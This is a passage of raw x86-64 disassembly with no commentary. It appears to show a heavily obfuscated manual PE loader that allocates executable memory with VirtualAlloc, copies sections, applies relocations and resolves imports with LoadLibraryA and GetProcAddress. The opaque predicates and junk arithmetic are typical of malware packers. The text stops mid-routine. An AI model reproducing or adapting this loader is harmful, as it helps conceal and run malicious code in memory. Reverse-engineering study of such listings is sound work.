movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rbp + 0x668], rax
mov rax, qword [str.VirtualAlloc]
mov qword [rbp + 0x36b], rax
mov edx, dword [0x0043601a]
mov dword [rbp + 0x373], edx
mov r8b, byte [0x0043601e]
mov byte [rbp + 0x377], r8b
sub rsp, 0x20
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
add rsp, 0x20
lea rdx, [rbp + 0x36b]
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
xor r9d, r9d
mov ecx, r9d
mov rdx, qword [rbp + 0x668]
mov r9d, dword [rdx + 0x50]
mov edx, r9d
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
call rax
add rsp, 0x20
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x668]
add rax, 0x108
mov qword [rbp + 0x658], rax
mov dword [rbp + 0x654], 0
mov eax, dword [rbp + 0x654]
mov rcx, qword [rbp + 0x668]
movzx edx, word [rcx + 6]
cmp eax, edx
jge 0x414470
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0x658]
movsxd rdx, dword [rbp + 0x654]
imul rdx, rdx, 0x28
add rcx, rdx
mov r8d, dword [rcx + 0xc]
mov ecx, r8d
add rax, rcx
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
mov rcx, qword [rbp + 0x678]
mov rdx, qword [rbp + 0x658]
movsxd r9, dword [rbp + 0x654]
imul r9, r9, 0x28
add rdx, r9
mov r8d, dword [rdx + 0x14]
mov edx, r8d
add rcx, rdx
mov rdx, qword [rbp + 0x658]
movsxd r9, dword [rbp + 0x654]
imul r9, r9, 0x28
add rdx, r9
mov r8d, dword [rdx + 0x10]
mov edx, r8d
mov qword [rbp + 0x6a0], rax
mov qword [rbp + 0x698], rcx
mov qword [rbp + 0x690], rdx
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x680], rax
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x690]
movabs r8, 0xafd6a31c9a30e520
sub rcx, r8
sub rcx, 0xffffffffffffffff
add rcx, r8
movabs r8, 0x221a1d8278f5be17
mov r9, rdx
add r9, r8
sub r9, rcx
sub r9, r8
mov qword [rbp + 0x690], r9
cmp rdx, 0
je 0x41442e
mov rax, qword [rbp + 0x680]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x680], rcx
mov dl, byte [rax]
mov rax, qword [rbp + 0x688]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x688], rcx
mov byte [rax], dl
jmp 0x4143ac
xor eax, eax
mov ecx, dword [rbp + 0x654]
mov edx, eax
sub edx, 0x111e6f43
sub edx, ecx
add edx, 0x111e6f43
mov ecx, eax
sub ecx, 1
add ecx, 0
mov r8d, eax
sub r8d, edx
mov edx, eax
sub edx, ecx
add r8d, edx
mov ecx, eax
sub ecx, r8d
sub eax, ecx
add eax, 0
mov dword [rbp + 0x654], eax
jmp 0x4142e3
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x660]
mov r8, qword [rbp + 0x668]
mov eax, dword [r8 + 0xb0]
mov r8d, eax
add rdx, r8
mov qword [rbp + 0x640], rdx
mov rdx, qword [rbp + 0x660]
mov r8, qword [rbp + 0x668]
mov r8, qword [r8 + 0x30]
movabs r9, 0x35cc5f19068ffabb
add rdx, r9
movabs r10, 0x7f02aa6adbbea68e
add rdx, r10
sub rdx, r9
movabs r9, 0xdbfecb39dbcef134
sub rdx, r9
sub rdx, r8
add rdx, r9
sub rcx, r10
add rdx, rcx
mov qword [rbp + 0x638], rdx
mov rax, qword [rbp + 0x640]
cmp dword [rax], 0
je 0x414947
mov rax, qword [rbp + 0x640]
mov ecx, dword [rax + 4]
mov eax, ecx
cmp rax, 8
jb 0x414925
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x640]
mov eax, dword [rdx + 4]
mov edx, eax
movabs r8, 0x8392cd717846deb8
mov r9, rcx
sub r9, r8
add rdx, r9
movabs r9, 0xa19c1e35f878cf64
sub rdx, r9
sub rdx, 8
add rdx, r9
sub rcx, r8
sub rdx, rcx
shr rdx, 1
mov dword [rbp + 0x634], edx
mov rcx, qword [rbp + 0x640]
add rcx, 8
mov qword [rbp + 0x628], rcx
mov dword [rbp + 0x624], 0
mov eax, dword [rbp + 0x624]
cmp eax, dword [rbp + 0x634]
jae 0x414920
mov rax, qword [rbp + 0x628]
mov ecx, dword [rbp + 0x624]
mov edx, ecx
movzx ecx, word [rax + rdx*2]
sar ecx, 0xc
mov dword [rbp + 0x620], ecx
mov rax, qword [rbp + 0x628]
mov ecx, dword [rbp + 0x624]
mov edx, ecx
movzx ecx, word [rax + rdx*2]
mov r8d, ecx
xor r8d, 0xffffffff
and r8d, 0xffffffff
mov r9d, 0xffffffff
mov r10d, r9d
xor r10d, 0xffffffff
and ecx, r10d
or r8d, ecx
mov ecx, r9d
xor ecx, 0xfff
and ecx, 0xffffffff
mov r10d, r9d
xor r10d, 0xffffffff
and r10d, 0xfff
or ecx, r10d
mov r10d, r9d
xor r10d, 0x411c6265
and r10d, 0xffffffff
mov r11d, r9d
xor r11d, 0xffffffff
and r11d, 0x411c6265
or r10d, r11d
mov r11d, r8d
xor r11d, 0xffffffff
mov esi, ecx
xor esi, 0xffffffff
mov edi, r9d
xor edi, 0xad7dd374
mov ebx, r11d
and ebx, 0xad7dd374
and r8d, edi
mov r14d, esi
and r14d, 0xad7dd374
and ecx, edi
or ebx, r8d
or r14d, ecx
xor ebx, r14d
or r11d, esi
xor r11d, 0xffffffff
or edi, 0xad7dd374
and r11d, edi
or ebx, r11d
mov ecx, r10d
and ecx, 0x411c6265
xor r10d, 0x411c6265
or ecx, r10d
mov r8d, ebx
xor r8d, 0xffffffff
and r8d, 0xffffffff
mov r10d, r9d
xor r10d, 0xffffffff
and ebx, r10d
or r8d, ebx
xor r8d, 0xffffffff
xor ecx, 0xffffffff
xor r9d, 0x5a5d1799
or r8d, ecx
or r9d, 0x5a5d1799
xor r8d, 0xffffffff
and r8d, r9d
mov dword [rbp + 0x61c], r8d
mov ecx, dword [rbp + 0x620]
cmp ecx, 0xa
mov dword [rbp + 0x14c], ecx
jl 0x4146ea
mov eax, dword [rbp + 0x14c]
cmp eax, 0xa
je 0x4147b7
jmp 0x4148ed
mov eax, dword [rbp + 0x14c]
cmp eax, 3
jne 0x4148ed
xor eax, eax
mov rcx, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x640]
mov r8d, dword [rdx]
mov r9d, eax
sub r9d, 0x3f3c0abb
sub r9d, r8d
add r9d, 0x3f3c0abb
mov r8d, eax
sub r8d, r9d
add ecx, r8d
mov r8d, dword [rbp + 0x61c]
sub ecx, 0x74fcd30a
add ecx, 0x78bd200a
add ecx, 0x74fcd30a
add ecx, 0x7644f1cc
add ecx, r8d
sub ecx, 0x7644f1cc
sub ecx, 0x84cfd4cf
sub ecx, 0x78bd200a
add ecx, 0x84cfd4cf
mov ecx, ecx
mov edx, ecx
mov qword [rbp + 0x610], rdx
mov rdx, qword [rbp + 0x638]
mov r10, qword [rbp + 0x610]
mov ecx, dword [r10]
mov r8d, 0x3a389e0b
add r8d, 0
sub r8d, ecx
sub r8d, 0x3a389e0b
mov ecx, eax
sub ecx, edx
add ecx, 0
sub eax, ecx
sub r8d, eax
mov eax, 0xeab2086f
add eax, 0
sub eax, r8d
sub eax, 0xeab2086f
mov dword [r10], eax
jmp 0x4148f2
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x660]
mov r8, qword [rbp + 0x640]
mov eax, dword [r8]
mov r8d, eax
movabs r9, 0xf3556568be7e7483
mov r10, r9
add r10, 0
sub r10, rdx
sub r10, r9
movabs rdx, 0xb58e1b80036ff7e8
mov r9, rcx
sub r9, rdx
sub r9, r8
add r9, rdx
mov rdx, rcx
sub rdx, r9
sub r10, rdx
movabs rdx, 0x90722d756fa759c8
mov r8, rdx
add r8, 0
sub r8, r10
sub r8, rdx
mov eax, dword [rbp + 0x61c]
mov edx, eax
movabs r9, 0x7c2b6d8191f3aff7
sub r8, r9
movabs r10, 0x7790ffe576817d39
add r8, r10
add r8, r9
movabs r9, 0x904895afe475dada
sub r8, r9
add r8, rdx
add r8, r9
movabs rdx, 0xf7892f5e68fb1463
sub r8, rdx
sub r8, r10
add r8, rdx
mov qword [rbp + 0x608], r8
mov rdx, qword [rbp + 0x638]
mov r8, qword [rbp + 0x608]
mov r9, qword [r8]
movabs r10, 0x86b6c18fcd1732d2
mov r11, r10
add r11, 0
sub r11, r9
sub r11, r10
movabs r9, 0xb53c31b70eb25603
mov r10, r9
add r10, 0
sub r10, rdx
sub r10, r9
mov rdx, rcx
sub rdx, r11
mov r9, rcx
sub r9, r10
add rdx, r9
sub rcx, rdx
movabs rdx, 0x1af665202d7ea3ee
mov r9, rdx
add r9, 0
sub r9, rcx
sub r9, rdx
mov qword [r8], r9
jmp 0x4148f2
jmp 0x4148f2
mov eax, dword [rbp + 0x624]
mov ecx, 0x928c5726
add ecx, 0
sub ecx, 1
sub ecx, 0x928c5726
sub eax, 0xd3cc4519
sub eax, ecx
add eax, 0xd3cc4519
mov dword [rbp + 0x624], eax
jmp 0x414574
jmp 0x414925
mov rax, qword [rbp + 0x640]
mov rcx, qword [rbp + 0x640]
mov edx, dword [rcx + 4]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x640], rax
jmp 0x4144e5
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0x668]
mov edx, dword [rcx + 0x90]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
cmp dword [rax + 0xc], 0
je 0x414c8e
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0x600]
mov edx, dword [rcx + 0xc]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x5f8], rax
mov rcx, qword [rbp + 0x5f8]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
add rsp, 0x20
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0x600]
mov edx, dword [rcx]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0x600]
mov edx, dword [rcx + 0x10]
mov ecx, edx
add rax, rcx
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e8]
cmp qword [rax], 0
je 0x414c75
mov rax, qword [rbp + 0x5e8]
mov rax, qword [rax]
movabs rcx, 0x8000000000000000
mov rdx, 0xffffffffffffffff
mov r8, rdx
xor r8, rcx
movabs r9, 0x72227dc318c9fed8
and r8, r9
mov r10, rdx
xor r10, r9
mov r11, r10
and r11, rcx
mov rcx, rdx
xor rcx, 0xffffffffffffffff
and rcx, r9
and r10, 0xffffffffffffffff
or r8, r11
or rcx, r10
xor r8, rcx
mov rcx, rax
xor rcx, 0xffffffffffffffff
mov r9, r8
and r9, rcx
xor r8, 0xffffffffffffffff
mov rcx, rax
and rcx, r8
or r9, rcx
xor r9, 0xffffffffffffffff
xor rax, 0xffffffffffffffff
movabs rcx, 0x5750eddf4a4b7b63
xor rdx, rcx
or r9, rax
or rdx, rcx
xor r9, 0xffffffffffffffff
and r9, rdx
cmp r9, 0
je 0x414be8
mov rax, qword [rbp + 0x5e8]
mov rax, qword [rax]
mov rcx, rax
xor rcx, 0xffffffffffffffff
movabs rdx, 0x2b2c859010fb9b45
and rcx, rdx
mov r8, 0xffffffffffffffff
mov r9, r8
xor r9, rdx
and rax, r9
mov r10, r8
xor r10, 0xffffffffffffffff
and r10, rdx
and r9, 0xffffffffffffffff
or rcx, rax
or r10, r9
xor rcx, r10
mov rax, r8
xor rax, 0xffff
and rax, 0xffffffffffffffff
mov rdx, r8
xor rdx, 0xffffffffffffffff
and rdx, 0xffff
or rax, rdx
movabs rdx, 0x556c01b9a4bfaa82
mov r9, r8
xor r9, rdx
movabs r10, 0xb2abb6102970a9a9
and r9, r10
mov r11, r8
xor r11, r10
mov rsi, r11
and rsi, rdx
mov rdi, r8
xor rdi, 0xffffffffffffffff
and rdi, r10
and r11, 0xffffffffffffffff
or r9, rsi
or rdi, r11
xor r9, rdi
mov r10, rcx
and r10, rax
xor rcx, rax
or r10, rcx
mov rax, r9
and rax, rdx
xor r9, rdx
or rax, r9
mov rcx, r10
xor rcx, 0xffffffffffffffff
movabs rdx, 0x8505359bfe61dfc1
and rcx, rdx
mov r9, r8
xor r9, rdx
and r10, r9
mov r11, r8
xor r11, 0xffffffffffffffff
and r11, rdx
and r9, 0xffffffffffffffff
or rcx, r10
or r11, r9
xor rcx, r11
xor rcx, 0xffffffffffffffff
xor rax, 0xffffffffffffffff
movabs rdx, 0xba4cf6a0c7745abc
xor r8, rdx
or rcx, rax
or r8, rdx
xor rcx, 0xffffffffffffffff
and rcx, r8
mov qword [rbp + 0x5d8], rcx
jmp 0x414c14
mov rax, qword [rbp + 0x660]
mov rcx, qword [rbp + 0x5e8]
add rax, qword [rcx]
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x5d0]
add rax, 2
mov qword [rbp + 0x5d8], rax
mov rcx, qword [rbp + 0x5f0]
mov rdx, qword [rbp + 0x5d8]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
mov qword [rbp + 0x5c8], rax
mov rax, qword [rbp + 0x5c8]
mov rcx, qword [rbp + 0x5e0]
mov qword [rcx], rax
mov rax, qword [rbp + 0x5e8]
add rax, 8
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x5e0]
add rax, 8
mov qword [rbp + 0x5e0], rax
jmp 0x4149ea
mov rax, qword [rbp + 0x600]
add rax, 0x14
mov qword [rbp + 0x600], rax
jmp 0x414967
xor eax, eax
mov rcx, qword [rbp + 0x660]
mov rdx, qword [rbp + 0x668]
mov r8d, dword [rdx + 0x28]
mov edx, r8d
add rcx, rdx
mov rdx, qword [rbp + 0x230]
mov qword [rdx], rcx
mov rcx, qword [rbp + 0x230]
mov r8d, dword [0x00439970]
mov r9d, dword [0x00439974]
mov r10d, r8d
add r10d, 0x95113d2c
add r10d, 0xde09a040
sub r10d, 0x95113d2c
add r10d, 0xa778edf0
sub r10d, 1
sub r10d, 0xa778edf0
sub eax, 0xde09a040
add r10d, eax
imul r8d, r10d
and r8d, 1
cmp r8d, 0
sete r11b
cmp r9d, 0xa
setl bl
mov sil, r11b
xor sil, 0xff
and sil, 1
mov dil, 1
mov r14b, dil
xor r14b, 1
mov r15b, r11b
and r15b, r14b
mov r12b, dil
xor r12b, 1
and r12b, 0xff
and r14b, 1
or sil, r15b
or r12b, r14b
xor sil, r12b
mov r14b, bl
xor r14b, 0xff
and r14b, 1
mov r15b, dil
xor r15b, 1
mov r12b, bl
and r12b, r15b
or r14b, r12b
mov r15b, dil
xor r15b, 0
and r15b, 1
mov r12b, dil
xor r12b, 1
and r12b, 0
or r15b, r12b
mov r12b, sil
xor r12b, 0xff
mov r13b, dil
xor r13b, 0
mov al, dil
xor al, 0
or r12b, r13b
or al, 0
xor r12b, 0xff
and r12b, al
xor r11b, 0xff
mov al, r15b
xor al, 0xff
mov r13b, dil
xor r13b, 1
or r11b, al
or r13b, 1
xor r11b, 0xff
and r11b, r13b
mov al, dil
xor al, 0
mov r13b, r14b
xor r13b, al
and r13b, r14b
xor bl, 0xff
mov al, r15b
xor al, 0xff
mov dl, dil
xor dl, 1
or bl, al
or dl, 1
xor bl, 0xff
and bl, dl
mov al, r12b
and al, r11b
xor r12b, r11b
or al, r12b
mov dl, r13b
and dl, bl
xor r13b, bl
or dl, r13b
mov r11b, al
xor r11b, 0xff
and r11b, 0
mov bl, dil
xor bl, 0
and al, bl
mov r12b, dl
xor r12b, 0xff
and r12b, 0
and dl, bl
or r11b, al
or r12b, dl
xor r11b, r12b
mov al, sil
xor al, 0xff
mov dl, r14b
xor dl, 0xff
mov bl, dil
xor bl, 0
mov r12b, al
and r12b, 0
and sil, bl
mov r13b, dl
and r13b, 0
and r14b, bl
or r12b, sil
or r13b, r14b
xor r12b, r13b
or al, dl
xor al, 0xff
or bl, 0
and al, bl
or r12b, al
mov al, r12b
xor al, 0xff
and al, 1
mov dl, dil
xor dl, 1
and r12b, dl
or al, r12b
mov dl, r15b
and dl, 0
xor r15b, 0
or dl, r15b
xor al, 0xff
xor dl, 0xff
xor dil, 1
or al, dl
or dil, 1
xor al, 0xff
and al, dil
mov dl, r11b
and dl, al
xor r11b, al
or dl, r11b
test dl, 1
mov r8d, 0x60d73685
mov r9d, 0xd3cdfe07
cmovne r9d, r8d
mov dword [rbp + 0x1e8], r9d
jmp 0x417ccc
mov eax, dword [0x00439970]
mov ecx, dword [0x00439974]
mov edx, 0xfc633555
add edx, 0
sub edx, 1
sub edx, 0xfc633555
mov r8d, eax
add r8d, 0x6c412b2b
add r8d, edx
sub r8d, 0x6c412b2b
imul eax, r8d
and eax, 1
cmp eax, 0
sete r9b
cmp ecx, 0xa
setl r10b
mov r11b, r9b
xor r11b, 0xff
and r11b, 1
mov bl, 1
mov sil, bl
xor sil, 1
mov dil, r9b
and dil, sil
or r11b, dil
mov sil, r10b
xor sil, 0xff
and sil, 1
mov dil, bl
xor dil, 1
mov r14b, r10b
and r14b, dil
or sil, r14b
mov dil, bl
xor dil, 0
and dil, 1
mov r14b, bl
xor r14b, 1
and r14b, 0
or dil, r14b
mov r14b, r11b
xor r14b, 0xff
mov r15b, bl
xor r15b, 0
mov r12b, bl
xor r12b, 1
or r14b, r15b
or r12b, 1
xor r14b, 0xff
and r14b, r12b
xor r9b, 0xff
mov r15b, dil
xor r15b, 0xff
mov r12b, bl
xor r12b, 1
or r9b, r15b
or r12b, 1
xor r9b, 0xff
and r9b, r12b
mov r15b, sil
xor r15b, 0xff
mov r12b, bl
xor r12b, 0
mov r13b, bl
xor r13b, 1
or r15b, r12b
or r13b, 1
xor r15b, 0xff
and r15b, r13b
mov r12b, dil
xor r12b, 0xff
mov r13b, r10b
xor r13b, r12b
and r13b, r10b
mov r10b, r14b
xor r10b, 0xff
mov r12b, r9b
xor r12b, 0xff
mov al, bl
xor al, 0
mov cl, r10b
and cl, 0
and r14b, al
mov dl, r12b
and dl, 0
and r9b, al
or cl, r14b
or dl, r9b
xor cl, dl
or r10b, r12b
xor r10b, 0xff
or al, 0
and r10b, al
or cl, r10b
mov al, r15b
and al, r13b
xor r15b, r13b
or al, r15b
mov dl, cl
xor dl, 0xff
and dl, 0
mov r9b, bl
xor r9b, 0
and cl, r9b
mov r10b, al
xor r10b, 0xff
and r10b, 0
and al, r9b
or dl, cl
or r10b, al
xor dl, r10b
mov al, r11b
and al, sil
xor r11b, sil
or al, r11b
mov cl, al
xor cl, 0xff
and cl, 1
mov r9b, bl
xor r9b, 1
and al, r9b
mov r10b, bl
xor r10b, 1
and r10b, 0xff
and r9b, 1
or cl, al
or r10b, r9b
xor cl, r10b
mov al, bl
xor al, 0
mov r9b, dil
xor r9b, 0xff
mov r10b, bl
xor r10b, 0
mov r11b, al
and r11b, 0
mov sil, r10b
and sil, 0
mov r14b, r9b
and r14b, 0
and dil, r10b
or r11b, sil
or r14b, dil
xor r11b, r14b
or al, r9b
xor al, 0xff
or r10b, 0
and al, r10b
or r11b, al
xor cl, 0xff
xor r11b, 0xff
xor bl, 1
or cl, r11b
or bl, 1
xor cl, 0xff
and cl, bl
mov al, dl
and al, cl
xor dl, cl
or al, dl
test al, 1
mov r8d, 0x738873f8
mov eax, 0xb8cd91bb
cmovne eax, r8d
mov dword [rbp + 0x1e8], eax
jmp 0x417ccc
xor eax, eax
mov ecx, dword [0x00439970]
mov edx, dword [0x00439974]
mov r8d, eax
sub r8d, ecx
mov r9d, eax
sub r9d, 0x32ee4862
add r8d, r9d
mov r9d, eax
sub r9d, r8d
sub eax, 1
add r9d, eax
sub r9d, 0x22f1b089
sub r9d, 0x32ee4862
add r9d, 0x22f1b089
imul ecx, r9d
and ecx, 1
cmp ecx, 0
sete r10b
cmp edx, 0xa
setl r11b
mov bl, r10b
xor bl, 0xff
and bl, 0
mov sil, 1
mov dil, sil
xor dil, 0
mov r14b, r10b
and r14b, dil
mov r15b, sil
xor r15b, 1
and r15b, 0
and dil, 1
or bl, r14b
or r15b, dil
xor bl, r15b
mov dil, r11b
xor dil, 0xff
and dil, 0
mov r14b, sil
xor r14b, 0
mov r15b, r11b
and r15b, r14b
mov r12b, sil
xor r12b, 1
and r12b, 0
and r14b, 1
or dil, r15b
or r12b, r14b
xor dil, r12b
mov r14b, sil
xor r14b, 1
and r14b, 0
mov r15b, sil
xor r15b, 0
mov r12b, r15b
and r12b, 1
mov r13b, sil
xor r13b, 1
and r13b, 0
and r15b, 1
or r14b, r12b
or r13b, r15b
xor r14b, r13b
mov r15b, bl
xor r15b, 0xff
mov r12b, sil
xor r12b, 1
mov r13b, sil
xor r13b, 0
or r15b, r12b
or r13b, 0
xor r15b, 0xff
and r15b, r13b
xor r10b, 0xff
mov r12b, r14b
xor r12b, 0xff
mov r13b, sil
xor r13b, 0
or r10b, r12b
or r13b, 0
xor r10b, 0xff
and r10b, r13b
mov r12b, dil
xor r12b, 0xff
mov r13b, sil
xor r13b, 1
mov al, sil
xor al, 1
or r12b, r13b
or al, 1
xor r12b, 0xff
and r12b, al
mov al, r14b
xor al, 0xff
mov r13b, r11b
xor r13b, al
and r13b, r11b
mov al, r15b
and al, r10b
xor r15b, r10b
or al, r15b
mov r10b, r12b
and r10b, r13b
xor r12b, r13b
or r10b, r12b
mov r11b, al
xor r11b, 0xff
and r11b, 0
mov r15b, sil
xor r15b, 0
and al, r15b
mov r12b, r10b
xor r12b, 0xff
and r12b, 0
and r10b, r15b
or r11b, al
or r12b, r10b
xor r11b, r12b
mov al, bl
xor al, 0xff
mov r10b, dil
xor r10b, 0xff
mov r15b, sil
xor r15b, 1
mov r12b, al
and r12b, 0xff
and bl, r15b
mov r13b, r10b
and r13b, 0xff
and dil, r15b
or r12b, bl
or r13b, dil
xor r12b, r13b
or al, r10b
xor al, 0xff
or r15b, 1
and al, r15b
or r12b, al
mov al, r12b
xor al, 0xff
and al, 0
mov r10b, sil
xor r10b, 0
and r12b, r10b
mov bl, sil
xor bl, 1
and bl, 0
and r10b, 1
or al, r12b
or bl, r10b
xor al, bl
mov r10b, r14b
and r10b, 1
xor r14b, 1
or r10b, r14b
xor al, 0xff
xor r10b, 0xff
mov bl, sil
xor bl, 0
or al, r10b
or bl, 0
xor al, 0xff
and al, bl
mov r10b, r11b
xor r10b, 0xff
mov bl, al
xor bl, 0xff
xor sil, 0
mov dil, r10b
and dil, 0
and r11b, sil
mov r14b, bl
and r14b, 0
and al, sil
or dil, r11b
or r14b, al
xor dil, r14b
or r10b, bl
xor r10b, 0xff
or sil, 0
and r10b, sil
or dil, r10b
test dil, 1
mov ecx, 0x72b42814
mov edx, 0x626fcf57
cmovne edx, ecx
mov dword [rbp + 0x1e8], edx
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xc2470e70
jmp 0x417ccc
mov rax, qword [rbp + 0x228]
mov dword [rbp + 0x1e8], 0x6a64cec3
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0x3bf82d5e
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0x23339da0
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xdad4b610
jmp 0x417ccc
mov rax, qword [rbp + 0x228]
mov ecx, dword [rbp + 0x264]
mov dword [rax], ecx
mov dword [rbp + 0x1e8], 0xf3374baf
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0xb5704039
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0x901d06fc
jmp 0x417ccc
lea rax, [0x0041a010]
add rax, 4
mov ecx, dword [rbp + 0x240]
movsxd rdx, ecx
add rax, rdx
mov rdx, qword [rbp + 0x220]
mov qword [rdx], rax
mov rax, qword [rbp + 0x228]
mov dword [rax], 0
mov dword [rbp + 0x1e8], 0x277506b2
jmp 0x417ccc
mov dword [rbp + 0x1e8], 0x37446760
jmp 0x417ccc
mov rax, qword [rbp + 0x220]
mov rax, qword [rax]
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rbp + 0x7a0], rax
mov rax, qword [rbp + 0x7a8]
mov rcx, qword [rbp + 0x7a0]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rbp + 0x798], rax
mov rax, qword [str.VirtualAlloc]
mov qword [rbp + 0x36b], rax
mov edx, dword [0x0043601a]
mov dword [rbp + 0x373], edx
mov r8b, byte [0x0043601e]
mov byte [rbp + 0x377], r8b
sub rsp, 0x20
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
add rsp, 0x20
lea rdx, [rbp + 0x36b]
sub rsp, 0x20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
add rsp, 0x20
xor r9d, r9d
mov ecx, r9d
mov rdx, qword [rbp + 0x798]
mov r9d, dword [rdx + 0x50]
mov edx, r9d
sub rsp, 0x20
mov r8d, 0x3000
mov r9d, 0x40
call rax
add rsp, 0x20
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x798]
add rax, 0x108
mov qword [rbp + 0x788], rax
mov dword [rbp + 0x784], 0
mov eax, dword [rbp + 0x784]
mov rcx, qword [rbp + 0x798]
movzx edx, word [rcx + 6]
cmp eax, edx
jge 0x4168bf
mov rax, qword [rbp + 0x790]
mov rcx, qword [rbp + 0x788]
movsxd rdx, dword [rbp + 0x784]
imul rdx, rdx, 0x28
add rcx, rdx
mov r8d, dword [rcx + 0xc]
mov ecx, r8d
add rax, rcx
mov qword [rbp + 0x778], rax
mov rax, qword [rbp + 0x778]
mov rcx, qword [rbp + 0x7a8]
mov rdx, qword [rbp + 0x788]
movsxd r9, dword [rbp + 0x784]
imul r9, r9, 0x28
add rdx, r9
mov r8d, dword [rdx + 0x14]
mov edx, r8d
add rcx, rdx
mov rdx, qword [rbp + 0x788]
movsxd r9, dword [rbp + 0x784]
imul r9, r9, 0x28
add rdx, r9
mov r8d, dword [rdx + 0x10]
mov edx, r8d
mov qword [rbp + 0x7d0], rax
mov qword [rbp + 0x7c8], rcx
mov qword [rbp + 0x7c0], rdx
mov rax, qword [rbp + 0x7d0]
mov qword [rbp + 0x7b8], rax
mov rax, qword [rbp + 0x7c8]
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7c0]
movabs rcx, 0xe26420d16b85ebe0
mov rdx, rax
add rdx, rcx
movabs r8, 0x92a247b9682c2d95
add rdx, r8
sub rdx, rcx
movabs rcx, 0xcfd0691a97325fc6
add rdx, rcx
add rdx, 0xffffffffffffffff
sub rdx, rcx
movabs rcx, 0x4b2878d4fdae63d0
add rdx, rcx
sub rdx, r8
sub rdx, rcx
mov qword [rbp + 0x7c0], rdx
cmp rax, 0
je 0x416883
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x7b0], rcx
mov dl, byte [rax]
mov rax, qword [rbp + 0x7b8]
mov rcx, rax
add rcx, 1
mov qword [rbp + 0x7b8], rcx
mov byte [rax], dl
jmp 0x4167e8
xor eax, eax
mov ecx, dword [rbp + 0x784]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 0x4d04ebb0
add edx, ecx
mov ecx, eax
sub ecx, edx
sub eax, 1
sub ecx, eax
sub ecx, 0xd0b6459c
sub ecx, 0x4d04ebb0
add ecx, 0xd0b6459c
mov dword [rbp + 0x784], ecx
jmp 0x41671f
xor eax, eax
mov ecx, eax
mov rdx, qword [rbp + 0x790]
mov r8, qword [rbp + 0x798]
mov eax, dword [r8 + 0xb0]
mov r8d, eax
add rdx, r8
mov qword [rbp + 0x770], rdx
mov rdx, qword [rbp + 0x790]
mov r8, qword [rbp + 0x798]
mov r8, qword [r8 + 0x30]
movabs r9, 0x4f904ddfd27ab4ed
mov r10, r9
add r10, 0
sub r10, r8
sub r10, r9
mov r8, rcx
sub r8, rdx
mov rdx, rcx
sub rdx, r10
add r8, rdx
sub rcx, r8
mov qword [rbp + 0x768], rcx
mov rax, qword [rbp + 0x770]
cmp dword [rax], 0
je 0x416cf0
mov rax, qword [rbp + 0x770]
mov ecx, dword [rax + 4]
mov eax, ecx
cmp rax, 8
jb 0x416cce
mov rax, qword [rbp + 0x770]
mov ecx, dword [rax + 4]
mov eax, ecx
movabs rdx, 0x3b028943eff855d4
add rax, rdx
movabs r8, 0x234a545e92e0a048
add rax, r8
sub rax, rdx
movabs rdx, 0x8c06d75d2d07d61d
sub rax, rdx
sub rax, 8
add rax, rdx
movabs rdx, 0x3f79f344547fa550
sub rax, rdx
sub rax, r8
add rax, rdx
shr rax, 1
mov dword [rbp + 0x764], eax
mov rdx, qword [rbp + 0x770]
add rdx, 8
mov qword [rbp + 0x758], rdx
mov dword [rbp + 0x754], 0
mov eax, dword [rbp + 0x754]
cmp eax, dword [rbp + 0x764]
jae 0x416cc9
mov rax, qword [rbp + 0x758]
mov ecx, dword [rbp + 0x754]
mov edx, ecx
movzx ecx, word [rax + rdx*2]
sar ecx, 0xc
mov dword [rbp + 0x750], ecx
mov rax, qword [rbp + 0x758]
mov ecx, dword [rbp + 0x754]
mov edx, ecx
movzx ecx, word [rax + rdx*2]
mov r8d, 0xffffffff
mov r9d, r8d
xor r9d, 0xfff
and r9d, 0x8c318ab9
mov r10d, r8d
xor r10d, 0x8c318ab9
mov r11d, r10d
and r11d, 0xfff
mov esi, r8d
xor esi, 0xffffffff
